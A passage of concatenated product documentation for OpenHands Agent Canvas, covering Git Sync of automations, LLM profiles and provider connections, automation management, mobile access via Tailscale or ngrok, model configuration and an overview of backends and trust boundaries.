checklist** switch. The setting persists across sessions. - - -## Customize your Agent Canvas - -When you are ready to go beyond the default setup, choose the mechanism that fits the task: - -- Add repository-wide guidance with [`AGENTS.md`](/overview/skills/repo) for each Workspace. -- Add reusable task instructions with [Skills](/overview/skills). -- Connect external tools through [MCP](/openhands/usage/settings/mcp-settings). -- Add packaged capabilities with [Plugins](/openhands/usage/agent-canvas/plugins). -- Automate repeated work with [Automations](/openhands/usage/agent-canvas/managing-automations). - -## After Your First Session - -Keep the terminal or Docker container that runs Agent Canvas active while you use the browser. When you are done, [stop Agent Canvas](/openhands/usage/agent-canvas/setup#stop-agent-canvas). Start it again with the same command when you return. - -For routine maintenance, see [update and uninstall](/openhands/usage/agent-canvas/setup#update-agent-canvas). If the UI, backend, or model does not work as expected, start with [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting). - -### Sync Automations with Git -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/git-sync.md - -Git Sync keeps the automations on an Agent Canvas backend synchronized with a Git repository. It gives you version history, an off-host backup, and a reviewable workflow for changing automations through pull requests. - - - Automation definitions can contain prompts, repository names, scripts, and other sensitive configuration. Use a private repository unless you are certain every synchronized file is safe to publish. - - -## How Git Sync Works - -Each sync cycle pulls the configured branch, imports changes from Git into the Automation Server, exports local automation changes, and pushes a commit when the synchronized files changed. - -By default, each automation is stored in its own directory under the configured path: - -```text -automations/ -└── daily-code-review/ - ├── automation.yaml - └── tarball/ - └── ... -``` - -The `automation.yaml` file stores the automation configuration. Files from an uploaded automation bundle are expanded under `tarball/` so Git can show meaningful diffs. - - - Git Sync is bidirectional. A change made in Agent Canvas is exported to Git, while a change merged into the synchronized branch is imported into Agent Canvas during the next cycle. If the same automation has pending local changes, the local version takes precedence for that cycle. - - -## Requirements - -Before configuring Git Sync, make sure you have: - -- A healthy Agent Canvas backend with a version of Automation Server that supports Git Sync -- Permission to manage automations on that backend -- A Git repository and branch dedicated to the synchronized automation files -- An HTTPS access token with read and write access when the repository is private - -Git Sync is not available for cloud backends. If the page reports that the backend does not support Git Sync, [update Agent Canvas](/openhands/usage/agent-canvas/setup#update-agent-canvas) and restart it. - -## Configure Git Sync - -1. Open the `Automate` view in Agent Canvas. -2. Select `Git Sync` near the top of the automation list. -3. Configure the repository: - - `Repository URL`: The HTTPS clone URL, such as `https://github.com/example/automation-backup.git`. - - `Branch`: The branch Git Sync pulls from and pushes to. The default is `main`. Git Sync creates the branch during the first cycle if it does not exist. - - `Path`: The repository-relative directory that holds automation files. The default is `automations`. - - `Access token`: Required for private repositories. The token needs permission to read and push repository contents. -4. Set `Sync every (seconds)`: - - Enter `0` to sync only when you select `Sync now`. - - Enter a positive number to run automatic sync cycles at that interval. -5. Optionally set the commit author name and email. Leave these fields blank to use the backend defaults. -6. Optionally enter an encryption key. See [Encrypt Synchronized Files](#encrypt-synchronized-files) before enabling this option. -7. Turn on `Enable Git Sync`. -8. Select `Save and sync now`. - -Before saving a changed repository URL, branch, or token, Agent Canvas checks whether it can reach the repository. This check does not verify push permission, so the first sync can still fail if the token is read-only. If the check cannot reach the repository, correct the settings or select the save action again to store them anyway. - -After the cycle completes, the **Sync Status** section shows the latest commit, last sync time, pending local changes, and any error returned by Git. - -## Encrypt Synchronized Files - -An encryption key encrypts each automation file before it is committed. The repository then contains ciphertext instead of readable YAML and script content. - - - Store the encryption key in a password manager or another secure location. Agent Canvas cannot read or restore encrypted automation files without the same key. - - -Encryption protects the contents stored in Git, but it also prevents normal code review and meaningful diffs. Use it when repository-level access controls are not sufficient for the sensitivity of your automation definitions. - -The access token and encryption key entered in Agent Canvas are encrypted before the Automation Server stores them. Leaving either secret field blank keeps its current value. Use the corresponding clear option when you intend to remove a stored secret. - -## Edit Automations Through Git - -Use a pull request when you want to review automation changes before Agent Canvas imports them: - -1. Create a branch from the synchronized branch. -2. Edit the automation's `automation.yaml` or files under `tarball/`. -3. Open and review a pull request. -4. Merge the pull request into the synchronized branch. -5. Wait for the next automatic cycle or select `Sync now`. -6. Open the automation in Agent Canvas and confirm the imported configuration before running it. - -Git Sync validates imported automation fields. It skips an invalid automation directory and reports the problem in Automation Server logs rather than applying a partial configuration. - - - If file encryption is enabled, edit automations in Agent Canvas instead. Encrypted repository files are not directly editable or reviewable. - - -## Pause or Run Sync Manually - -Turn off `Enable Git Sync` and save to pause synchronization without deleting the repository configuration. Turn it on again to resume. - -Select `Sync now` to start a cycle immediately. The request schedules the cycle in the background, and the activity row follows it until it succeeds or fails. If another cycle is already running, Agent Canvas follows that cycle instead of starting a duplicate. - -## Troubleshooting - -| Problem | What to Check | -|---------|---------------| -| Git Sync is not available | Confirm the active backend is local, healthy, and running a current Automation Server version. | -| Repository check fails | Confirm the HTTPS URL, branch name, network access, and token. Select save again only if you intentionally want to keep settings that the check cannot verify. | -| Repository check passes but push fails | Give the access token write permission for repository contents and confirm branch protection permits the configured workflow. | -| Sync reports a non-fast-forward or divergence error | Update the synchronized branch through reviewed pull requests and avoid another process writing directly to it while Agent Canvas has an unpushed commit. | -| Encrypted files cannot be imported | Restore the exact encryption key used to write them. A different or missing key cannot decrypt the repository contents. | -| Changes do not sync automatically | Confirm Git Sync is enabled and `Sync every (seconds)` is greater than `0`, or use `Sync now`. | - -## Related Guides - -- [Manage Automations](/openhands/usage/agent-canvas/managing-automations) -- [Install Agent Canvas](/openhands/usage/agent-canvas/setup) -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) - -### Manage LLM Profiles -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/llm-profiles.md - -Agent Canvas supports configuring your LLM provider, model, and credentials from the UI. It also supports saved **LLM profiles**, which make it easier to switch models without re-entering provider settings each time. - -LLM profiles can also generate conversation titles. In `Settings > Application > Conversation titles`, leave the selection on **Automatic** to use the active local profile, or select a saved profile dedicated to title generation. - -## Configure an LLM Profile - -Open `Settings > LLM` to add a reusable LLM profile. Use the **Basic** tab for a provider and model available in the dropdowns. Use the **Advanced** tab when you need to enter a model name and base URL directly. Use the **All** tab to view and customize the full set of model configuration fields. - -If you are deciding between a provider key, local endpoint, LiteLLM proxy, OpenRouter, or ACP agent, start with [Configure a Model](/openhands/usage/agent-canvas/model-configuration). - - -ACP agents such as Claude Code, Codex, and Gemini CLI manage their own model access. See [ACP Agents](/openhands/usage/agent-canvas/acp-agents) instead. - - -### Choose a Configuration Path - -| I have | Profile tab | Configure | -|---|---|---| -| An API key from Anthropic, OpenAI, Google, or another provider | **Basic** | Select the provider and model, then add its API key or reuse a Provider Connection. | -| An OpenHands LLM API key | **Basic** | Select `OpenHands`, choose a model, then add the key or reuse a Provider Connection. | -| A local OpenAI-compatible server | **Advanced** | Enter the provider and exact model ID, then add its base URL/key or reuse a Provider Connection. | -| A LiteLLM proxy | **Advanced** | Use the `litellm_proxy/` model prefix, then add its proxy URL/key or reuse a Provider Connection. | - -### Direct Provider - -In the **Basic** tab, select your provider and model. Select a **Provider Connection** to reuse its API key, or add an API key directly when it belongs only to this profile. Save the profile, then use a new conversation to test the change; an existing conversation continues with the agent and model it started with. - -For provider and model recommendations, see [LLM Configuration](/openhands/usage/llms/llms). - -### OpenHands Provider - -Use an OpenHands LLM API key when you want Agent Canvas to access models through the OpenHands provider: - -1. Copy your LLM API key from [OpenHands Cloud](https://app.all-hands.dev/settings/api-keys). -2. In the **Basic** tab, select `OpenHands`, choose a model, and add the key. -3. Save the profile and start a new conversation. - -While using OpenHands as your LLM provider you will see OpenHands-routed model IDs marked as `Free`. These models change as we have promotional periods where we can offer them without any additional token cost. Currently **DeepSeek V4 Flash** is the free OpenHands-routed model. - -The `Free` label applies only to those full `openhands/` routes. Endpoints from other providers with similar model names may have separate billing. The label remains visible after you select one of these models. - -When you create a local LLM profile, the form initially selects **OpenAI GPT-5.6 Sol** (the default model) and derives the profile name from it. You can change either value before saving. - -For key details and available models, see [OpenHands LLM Provider](/openhands/usage/llms/openhands-llms). - -### Pre-Save Validation - -When you save an LLM profile, the configuration is validated against the backend before it is persisted. If validation fails — for example, because the API key is rejected or the model is unavailable — the save is blocked and the backend error is shown. The save button displays a validating state while the check runs. - -Older backends that do not support validation (they return a `404` for the validation endpoint) skip this check and save normally. - -### Local OpenAI-Compatible Endpoint - -A local server can be LM Studio, Ollama, vLLM, SGLang, or another service that exposes an OpenAI-compatible API. In the **Advanced** tab, enter the provider, exact model ID, endpoint base URL, and the required API key or a placeholder value when the server does not require one. - -The URL must be reachable from the **backend**, not only from your browser. For example, a backend in Docker cannot use `127.0.0.1` to reach a model server running on the host. Use the host address appropriate for that backend and confirm the endpoint's model inventory before saving. - -For example, if the model server runs on the host at port `1234` and the Agent Canvas backend runs in Docker, configure: - -- **Model**: `openai/`, replacing `` with the exact `id` returned by the server's `GET /v1/models` endpoint -- **Base URL**: `http://host.docker.internal:1234/v1` -- **API key**: `local-llm` or another placeholder value when the server does not require authentication - -See [Local LLMs](/openhands/usage/llms/local-llms) for LM Studio, Ollama, and other local-server examples. - -### LiteLLM Proxy - -In the **Advanced** tab, use the model name format `litellm_proxy/`, then enter your LiteLLM proxy base URL and API key. The model name after the prefix must match a model configured on the proxy. - -See [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) for the complete configuration. - -## Provider Connections - - - Provider Connections are available on **local agent-server backends only**. The panel is hidden when using an OpenHands Cloud backend. - - -When you want multiple LLM profiles to share the same provider credentials, use **Provider Connections** to store a provider, API key, and optional base URL once and reference it across profiles. This avoids pasting the same key into every profile and lets you rotate credentials in one place. Linked profiles keep their own model selection while using the shared connection for credentials. - -### Create a Provider Connection - -1. Open `Settings > LLM`. -2. In the **Provider Connections** panel, add a new connection. -3. Enter a name, then select a provider from the searchable supported-provider selector, and add the API key and an optional base URL. - -The provider field in the **create** connection flow is a searchable selector backed by the supported-provider catalog. You must select a supported provider before the connection can be saved. Existing connections retain free-text editing, so legacy or custom provider identifiers remain maintainable. - -### Link a Profile to a Provider Connection - -When you add or edit an LLM profile, choose a saved connection in the **Provider Connection** selector. Select **None** to use credentials specific to that profile instead. When a profile is linked, its inline API key and base URL fields are hidden — the profile uses the connection's credentials instead. - -Linked profiles are grouped under their Provider Connection name in the profile list for readability. To use another model with the same API key, add another LLM profile, select the same connection, choose that model, and save. - -### Update or Delete a Connection - -Edit a Provider Connection to rename it, rotate its API key, or change its base URL. The update applies to every linked profile. Before deleting a connection, re-link or change every profile that uses it; Agent Canvas prevents deleting a connection while profiles still reference it. - -## Working with LLM Profiles - -LLM profiles are useful when you want different model setups for different tasks, such as: - -- a fast profile for iteration -- a stronger profile for planning or review -- a local model profile for offline experiments - -LLM profiles are separate from [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). Agent Profiles choose which agent runs a new conversation. OpenHands Agent Profiles reference an LLM profile to decide which model configuration that agent uses. - -### Manage Saved Profiles - -The available profiles list shows each profile's name, configured model, and whether it is active. Use a profile's menu to edit or rename it, set it as the active profile for new conversations, or delete it when you no longer need it. - -![Agent Canvas LLM settings showing two synthetic saved profiles, one marked as the default, with its profile actions menu open.](/openhands/static/img/agent-canvas-llm-profiles-manager.png) - -## Switching Profiles in a Conversation - -You can switch profiles from the profile selector in the chat input or with the `/model` command: - -- `/model` — list the saved profiles available to the conversation -- `/model ` — switch to a specific saved profile - -A switch preserves the conversation history, workspace, and task state; it applies to future model requests only. Agent Canvas also shows model-switch events in the conversation timeline so you can see when a profile changed during a task. - - -Model switching requires saved LLM profiles. If `/model` is not available in the chat input, create a profile in `Settings > LLM` and confirm that the active backend supports profile switching. - - -## Fix a Failed Configuration - -| Symptom | Check first | Next step | -|---|---|---| -| Provider is not recognized | Provider selection and model prefix | Use the matching configuration path above. | -| Model format or identifier error | Exact model ID | Compare it with the provider or proxy model inventory. | -| Local server cannot be reached | Base URL from the backend | Check host, port, and container or network reachability. | -| Authentication or permission error | Key type and backend scope | Re-enter the key or follow the provider guide. | -| Model cannot perform the task | Context and tool support | Choose a compatible model from the provider's recommendations. | - -For error-specific steps, see [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting#model-or-api-key-errors). - - -## Recommended Workflow - -1. Configure and save a default profile in `Settings > LLM`. -2. Create additional profiles for specific tasks or cost levels, using descriptive names that make their purpose clear. -3. Open `Settings > Agent` and choose which LLM profile an OpenHands Agent Profile should use. -4. Start a new conversation and send a simple message to confirm the selected model responds. -5. Use the profile selector or `/model` when you want to switch profiles without leaving the chat. - -## Related Guides - -- [Setup](/openhands/usage/agent-canvas/setup) -- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) -- [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles) -- [LLM Settings](/openhands/usage/settings/llm-settings) - -### Managing automations -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/managing-automations.md - -The **Automate** view in Agent Canvas is the in-app control center for your automations. From here you can see all automations on the active backend, inspect their configuration and run history, and manage their lifecycle without leaving the app. - - - Automations run on the active backend. Switch backends from [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) to see automations on a different backend. - - -## Browse and inspect automations - -Open the **Automate** tab in the sidebar to see all automations on the active backend. Each row shows the automation name, trigger type, and enabled state. When the active backend is healthy but has no automations, the Automate pane remains available and includes an option to add one. - -Click an automation to open its detail view. The detail view shows: - -- The full prompt the automation runs -- Trigger configuration (schedule, webhook, or event) -- LLM profile used for runs -- Recent run history and status - -### Run Statuses - -A run can be `PENDING`, `RUNNING`, `COMPLETED`, `FAILED`, `CANCELLED`, or `SKIPPED`. A `SKIPPED` run can occur when the backend reaches its concurrency limit. Future backend statuses appear as a neutral status badge so they do not prevent you from viewing the automation. - -### Run Phase - -Automation runs surface a live **phase** that reflects a run's current state: `PENDING`, `RUNNING`, or `FAILED`. The phase appears on automation cards, in the Activity Log, and on the home screen, and updates live as a run progresses. A failed run retains its last phase after it stops. - -### Activity Log Costs and Exports - -The Activity Log displays a completed run's reported LLM cost in USD to four decimal places. A measured zero cost appears as `$0.0000`; when the backend does not report a cost, no cost appears in the log. - -Use the Activity Log export controls to download run data as CSV or JSON. Both formats include a raw numeric `cost` field for every run, as well as the run's `phase`. An unavailable cost is exported as `null`. - -## Enable and disable automations - -Toggle an automation on or off from the kebab menu (⋮) on the automation row, or from the detail view. Disabled automations do not fire on their scheduled trigger or in response to events, but their configuration is preserved. - -### Disablement reasons - -When an automation is disabled, the detail page shows a banner with a human-readable disablement reason, structured detail, and a timestamp. This helps you understand why an automation stopped running. Common reasons include: - -- **Manually disabled** — A user turned the automation off from the kebab menu or detail view. -- **Permanent dispatch failure** — The automation backend reported a permanent failure that prevented the automation from running. - -The banner displays the reason, any additional structured detail provided by the backend, and the time the disablement occurred. To re-enable an automation, use the toggle in the kebab menu or detail view (cloud backends require manage permissions or that you are the automation's creator). - -## Edit an automation - -You can edit an automation's name, prompt, model, timeout, and schedule directly in Agent Canvas. On cloud backends, editing requires manage permissions or being the automation's creator. - -## Run an automation manually - -Select **Run now** from the automation's kebab menu to trigger an immediate run outside the normal schedule. Useful for testing or for one-off executions. - -## Export an automation - -Agent Canvas can export any automation as a portable JSON file. Use this to: - -- Share a reusable automation with teammates -- Back up automation configuration in version control -- Move an automation between backends or accounts - -**To export:** - -1. Open the **Automate** view. -2. Click the kebab menu (⋮) on the automation you want to export. -3. Select **Export**. - -The file downloads as `.automation.json`, where `` is derived from the automation's name. - -### Exported file format - -The file contains a versioned JSON document with the automation's full configuration: - -```json -{ - "version": 1, - "kind": "automation", - "spec": { - "name": "Daily GitHub Summary", - "trigger": { - "type": "schedule", - "schedule": "0 9 * * 1-5", - "schedule_human": "Weekdays at 9:00 AM", - "timezone": "America/New_York" - }, - "enabled": true, - "prompt": "Summarize the previous day's PRs and post to #engineering.", - "repository": "openhands/docs", - "model": "anthropic/claude-sonnet-4-5" - } -} -``` - -The `spec` object includes the automation's name, prompt, trigger, schedule, repository, model, plugins, and notification settings. You can hand-author, diff, or version-control this file using any standard tool. - -## Import an automation - -You can import an automation from a JSON file previously exported by Agent Canvas, or from a hand-authored file that follows the same versioned schema. - -**To import:** - -1. Open the **Automate** view. -2. Click **Import automation** at the top of the list. -3. Pick the `.json` file to import. -4. Review the preview — it shows the automation's name, trigger type, and prompt. - -![Agent Canvas import automation dialog previewing the Weekly Documentation Review name, schedule, and prompt before import](/openhands/static/img/agent-canvas-automation-import-preview.png) - -5. Confirm to create the automation. - -Imported automations are created **disabled**. After importing, open the automation from the list, review its configuration, and enable it when ready. - -## Related guides - -- [Sync automations with Git](/openhands/usage/agent-canvas/git-sync) -- [Creating automations](/openhands/usage/automations/creating-automations) -- [Managing automations (CLI-style)](/openhands/usage/automations/managing-automations) -- [Pre-built automations](/openhands/usage/agent-canvas/prebuilt-automations) -- [Automations overview](/openhands/usage/automations/overview) - -### Phone & Tablet Access -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/mobile-access.md - -If Agent Canvas is running on your computer, you can access it from a phone, tablet, or another device without exposing it to the public internet. - -## Tailscale (Recommended) - -[Tailscale](https://tailscale.com/) creates a private network between your devices. No port forwarding, DNS, or firewall rules are required. - -### Setup - -1. Install [Tailscale](https://tailscale.com/download) on both your computer and your phone or tablet. -2. Sign in with the same account on both devices. -3. Find your computer's Tailscale IP in the Tailscale app. It usually looks like `100.x.y.z`. -4. Start Agent Canvas on your computer: - - ```bash - agent-canvas - ``` - -5. Open `http://:8000/` in your phone or tablet browser. - -That's it. The connection is encrypted and only devices in your Tailscale network can reach it. - - - If the mobile browser still points at `127.0.0.1` or `localhost`, open `Manage Backends` and edit the local backend's `Host / Base URL` to `http://:8000`. If it keeps reverting, clear site data for the Agent Canvas URL in your browser settings and reload the page. - - -## ngrok (Remote / Public Access) - -Use [ngrok](https://ngrok.com/) when Tailscale is not an option or when you need a temporary public URL. Because the URL is reachable from the internet, run Agent Canvas in public mode with a strong backend API key first: - -```bash -export LOCAL_BACKEND_API_KEY="" -agent-canvas --public -``` - -Then start ngrok in a second terminal: - -```bash -ngrok http 8000 -``` - -Open the ngrok forwarding URL in your phone or tablet browser. - - - Do not expose Agent Canvas over the internet without authentication. Public mode requires users to enter `LOCAL_BACKEND_API_KEY` before the backend can be used. Without authentication, anyone with the URL can use your instance and the LLM API keys configured in it. See [VM / Self-Hosted Backend](/openhands/usage/agent-canvas/backend-setup/vm) for the full remote-access setup. - - -ngrok also supports OAuth, IP allowlists, and other access controls for additional protection. - -### Configure a Model -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/model-configuration.md - -Use this guide to choose a model configuration path in Agent Canvas. Start with the credentials or endpoint you have, then save the profile and test it in a new conversation. - - -ACP agents such as Claude Code, Codex, and Gemini CLI manage their own model access. Use [ACP Agents](/openhands/usage/agent-canvas/acp-agents) instead of creating an LLM profile for those agents. - - -## Choose a Configuration Path - -| I have | Use | Configure in | -|---|---|---| -| An API key from a model provider | A direct provider profile | `Settings > LLM` → `Basic` | -| An OpenHands LLM API key | An OpenHands provider profile | `Settings > LLM` → `Basic` | -| A local OpenAI-compatible server | A local endpoint profile | `Settings > LLM` → `Advanced` | -| A LiteLLM proxy | A proxy profile | `Settings > LLM` → `Advanced` | -| A signed-in Claude Code, Codex, or Gemini CLI subscription | An ACP agent | `Settings > Agent` | - -## Provider Connection for Reusable API Credentials - -Create a **Provider Connection** when you expect to use the same provider API key for more than one model or LLM profile. A connection stores the provider, API key, and optional base URL once; each linked profile supplies its own model configuration and uses the connection's credentials. - -1. Open `Settings > LLM`. -2. In **Provider Connections**, select **Add provider connection**. -3. Enter a recognizable name, such as `Personal OpenHands API` or `Team OpenAI`. -4. Choose the provider from the searchable provider list. -5. Enter the API key and, if needed, the provider base URL. -6. Save the connection. -7. Add or edit an LLM profile, select the connection in **Provider Connection**, then select the model and save the profile. - -When a profile uses a Provider Connection, its API key and base URL come from the connection rather than the profile. Reuse that connection for additional models from the same provider. Update the connection once to rotate its key or change its base URL for every linked profile. - - -Provider Connections are available on local agent-server backends. The panel is hidden when using an OpenHands Cloud backend. - - -## Direct Provider or OpenHands Profile - -Use the `Basic` tab when you have an API key from Anthropic, OpenAI, Google, OpenHands, or another provider in the selector. - -1. If you will reuse the key, create or choose a [Provider Connection](#provider-connection-for-reusable-api-credentials). -2. Select the provider and model. -3. Select the Provider Connection, or enter the API key directly for a profile-specific credential. -4. Save the profile. -5. Start a new conversation and send a short message to confirm the model responds. - -For model recommendations and provider references, see [LLM Configuration](/openhands/usage/llms/llms). For the OpenHands provider, see [OpenHands LLM Provider](/openhands/usage/llms/openhands-llms). - -## Local OpenAI-Compatible Server - -Use the `Advanced` tab for LM Studio, Ollama, vLLM, SGLang, or another server that exposes an OpenAI-compatible API. - -1. Find the exact model ID served by your server, usually from its `GET /v1/models` endpoint. -2. Enter `openai/` as the model. -3. If the server needs an API key or a reusable base URL, create a [Provider Connection](#provider-connection-for-reusable-api-credentials) with those values and select it for the profile. Otherwise, enter them directly in the profile. -4. Make sure the base URL is reachable from the **backend**. -5. Save the profile and start a new conversation to verify it. - -If Agent Canvas runs in Docker while the model server runs on the host, `127.0.0.1` points to the container, not the host. Use the host address appropriate for your platform, such as `http://host.docker.internal:/v1` where supported. - -See [Run Local LLMs with OpenHands](/openhands/usage/llms/local-llms) for server-specific examples. - -## LiteLLM Proxy - -Use the `Advanced` tab when you use a LiteLLM proxy. - -1. Enter `litellm_proxy/` as the model. -2. Create or select a [Provider Connection](#provider-connection-for-reusable-api-credentials) for the proxy URL and API key. You can instead enter those values directly when they are specific to one profile. -3. Make sure `` exactly matches a model configured on the proxy. -4. Save the profile and start a new conversation to verify it. - -See [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) for the complete proxy configuration. - -## OpenRouter - -Use OpenRouter when you have an OpenRouter API key and want to access a model through its catalog. Create an `OpenRouter` Provider Connection to reuse the key, then in the `Basic` tab select `OpenRouter`, choose a model, select the connection, and save the profile. Use the `Advanced` tab only when you need to enter a model ID that is not available in the selector. - -See [OpenRouter](/openhands/usage/llms/openrouter) for model-ID and recovery guidance. - -## Fix a Failed Configuration - -| Symptom | Check first | Next step | -|---|---|---| -| Provider is not recognized | The profile path and provider/model prefix | Choose the matching path above. | -| Model ID or format error | The exact model ID from the provider or proxy inventory | Update the model ID or prefix. | -| Local endpoint cannot be reached | The base URL from the backend | Check host, port, bind address, and container networking. | -| Authentication or permission error | Key type and provider account access | Re-enter the key and check the provider requirements. | -| The model cannot complete agent tasks | Context length and tool-use support | Use a more capable model or supported runtime. | - -For additional error-specific guidance, see [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting#model-or-api-key-errors). - -## Next Steps - -- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) -- [Run Local LLMs with OpenHands](/openhands/usage/llms/local-llms) -- [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) -- [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) - -### Agent Canvas Overview -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/overview.md - -Agent Canvas is an open-source control surface for agentic work. From one place, you can manage conversations, files, terminals, model configuration, backends, and automations. - -The browser interface connects to one or more backends that run the agent and its tools. By default, that backend runs on your machine, but you can instead use Docker, a VM, Modal, or [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud). The LLM models can run locally, through a provider API or be accessed through an ACP agent. - -## When To Use Agent Canvas - -Choose the path that matches where and how you want your agents to run: - -| If you want to... | Start here | -|-------------------|------------| -| Run OpenHands locally in a browser | [Install Agent Canvas](/openhands/usage/agent-canvas/setup) | -| Use a sandboxed local environment | [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) | -| Run agents on an always-on machine | [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm) | -| Connect to managed cloud sandboxes | [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud) | -| Use Claude Code, Codex, Gemini CLI, or another ACP agent | [ACP Agents](/openhands/usage/agent-canvas/acp-agents) | - -You can also test a preview build of the native desktop app. [Try the desktop preview](/openhands/usage/agent-canvas/setup#desktop-app-preview-build). - -## How Agent Canvas Works - -Agent Canvas is the browser client. It connects to backend services that own execution and persistent state: - -| Concept | What It Means | Why It Matters | -|-------|---------------|----------------| -| **Browser UI** | The web interface you open in your browser. | This is where you chat, inspect files, manage settings, and configure automations. | -| **Backend** | The agent server that runs conversations, tools, settings, secrets, and automations. | This determines where the agent runs and what machine or sandbox it can access. | -| **Workspace** | The folder, repository, container mount, or cloud sandbox the agent works in. | This determines which files the agent can read and write. | -| **Agent and model** | The OpenHands agent or an ACP agent, plus the model credentials it uses. | This determines which LLM or provider receives conversation context and powers the agent. | - -```mermaid -flowchart LR - browser["Browser UI"] --> backend["Selected backend"] - backend --> conversation["Conversation and agent"] - conversation --> model["Model access"] - conversation --> workspace["Workspace and tools"] - - classDef primary fill:#f3e8ff,stroke:#7c3aed,stroke-width:2px - classDef secondary fill:#e8f3ff,stroke:#2b6cb0,stroke-width:2px - classDef tertiary fill:#fff4df,stroke:#b7791f,stroke-width:2px - class browser primary - class backend,conversation secondary - class model,workspace tertiary -``` - -The `agent-canvas` launcher can package the client and backend services into one local stack. You can also run the client separately and connect it to services on a VM, in Docker or Kubernetes, or through OpenHands Cloud or OpenHands Enterprise. - -See [Agent Canvas Architecture](/openhands/usage/agent-canvas/architecture) for the complete service and deployment model. - - - Switching backends switches the environment the agent is using. For details on how conversations and workspaces remain separate, see [Conversations](/openhands/usage/agent-canvas/conversations) and [Backends](/openhands/usage/agent-canvas/backends). - - -## Choosing A Trust Boundary - -Before installing, decide where you want the agent to run and what files it should be able to access. - -| Setup | Trust Boundary | Best For | -|-------|----------------|----------| -| **npm local install** | Runs directly on your machine. The agent server can operate on the local filesystem. | Fastest local setup when you trust the machine and understand the file access. | -| **Docker** | Runs inside a container and only sees the directories you mount. | Local sandboxing and clearer file boundaries. | -| **VM or dedicated machine** | Runs on the remote host you control. | Always-on agents, heavier compute, team-shared backends, or personal/work separation. | -| **OpenHands Cloud** | Runs in managed OpenHands Cloud sandboxes. | Cloud execution without maintaining your own machine or VM backend. | - - - Agent Canvas can run agents that execute shell commands, read files, write files, and use connected tools. Only connect a backend to files, secrets, and networks that you are willing to let the agent use. - - -## What Happens When You Close the Terminal? - -For a local npm or npx installation, closing the terminal stops the Agent Canvas process, so the browser UI can no longer use its local backend. Start Agent Canvas again with the same command to continue. A Docker container, VM, or cloud backend continues running until that backend is stopped. - -See [Install](/openhands/usage/agent-canvas/setup#run-agent-canvas-again) to restart Agent Canvas and [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) if the browser cannot reconnect. - -## Model Access - -Agent Canvas supports several model access patterns: - -- **Direct provider key** — enter an API key from Anthropic, OpenAI, Google, or another supported provider. -- **OpenHands LLM API key** — use an OpenHands LLM API key for verified hosted models. -- **ACP agent subscription login** — use a signed-in provider, such as Claude Code, Codex, or Gemini, when the backend runs on the same machine as that login. -- **Local or OpenAI-compatible provider** — connect providers such as Ollama, LM Studio, LiteLLM, or a compatible gateway through model settings. - -See [Configure a Model](/openhands/usage/agent-canvas/model-configuration), [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles), and [ACP Agents](/openhands/usage/agent-canvas/acp-agents) for details. - -## Customize Your Agent - -After the first conversation, choose the extension point that matches your need: - -| If you want to... | Start here | -|---|---| -| Add always-on repository guidance | [Repository Context and `AGENTS.md`](/overview/skills/repo) | -| Add reusable task-specific instructions | [Skills Overview](/overview/skills) | -| Connect external tools or services | [MCP Settings](/openhands/usage/settings/mcp-settings) | -| Extend the agent with packaged capabilities | [Plugins](/openhands/usage/agent-canvas/plugins) | -| Run work on a schedule or in response to events | [Automations](/openhands/usage/agent-canvas/managing-automations) | - -## How It Fits With Other OpenHands Products - -| Surface | Best for | Where it runs | -|---------|----------|---------------| -| **Agent Canvas** | Browser-first agent work, workspace access, and automations | The backend you select: your machine, Docker, a VM, Modal, or Cloud | -| **OpenHands SDK** | Building agent-powered Python applications | Your application and the workspace you configure | -| **OpenHands Cloud** | Fully managed hosted execution | Managed OpenHands Cloud infrastructure | -| **Local GUI (Legacy)** | Following older Docker-based Local GUI documentation | Your local Docker environment | - -### Agent Canvas vs "openhands serve" - -`agent-canvas` starts the current Agent Canvas UI and backend stack. `openhands serve` starts the legacy OpenHands CLI GUI server and will not run if you have only installed agent-canvas. - -### How Conversations and Workspaces Are Isolated - -A conversation belongs to one active backend and has its own history, agent configuration, and backend-managed state. Its workspace is the folder, mount, or sandbox attached to that backend. Start a new conversation for a separate task, or [branch a conversation](/openhands/usage/agent-canvas/conversations#branch-from-a-message) to explore another path while preserving the original. - -## Before You Start - -For the normal local setup, you need: - -- Node.js 22.12 or later -- `npm` -- A model access path, such as a provider API key, OpenHands Cloud LLM key, ACP subscription login, or local model server -- A folder, repository, or project workspace for the agent to work in - -For a sandboxed local setup, use Docker instead of the direct npm backend path. - -## Where To Go Next - -- [Install Agent Canvas](/openhands/usage/agent-canvas/setup) -- [First Time Setup](/openhands/usage/agent-canvas/first-time-setup) -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) -- [Conversations](/openhands/usage/agent-canvas/conversations) -- [ACP Agents](/openhands/usage/agent-canvas/acp-agents) -- [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) - -### Plugins in Agent Canvas -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/plugins.md - -Plugins bundle related agent capabilities, such as skills, MCP servers, hooks, commands, and agent definitions. Agent Canvas gives local backends a UI for browsing the plugin catalog, installing plugins, enabling or disabling installed plugins, and attaching plugins when you start a conversation. - - - The Plugins management page is available for local backends. Cloud backends may show an empty plugin catalog or disable plugin management actions until plugin management is available for that backend. - - -## Open the Plugins Area - -Open `Plugins` from the 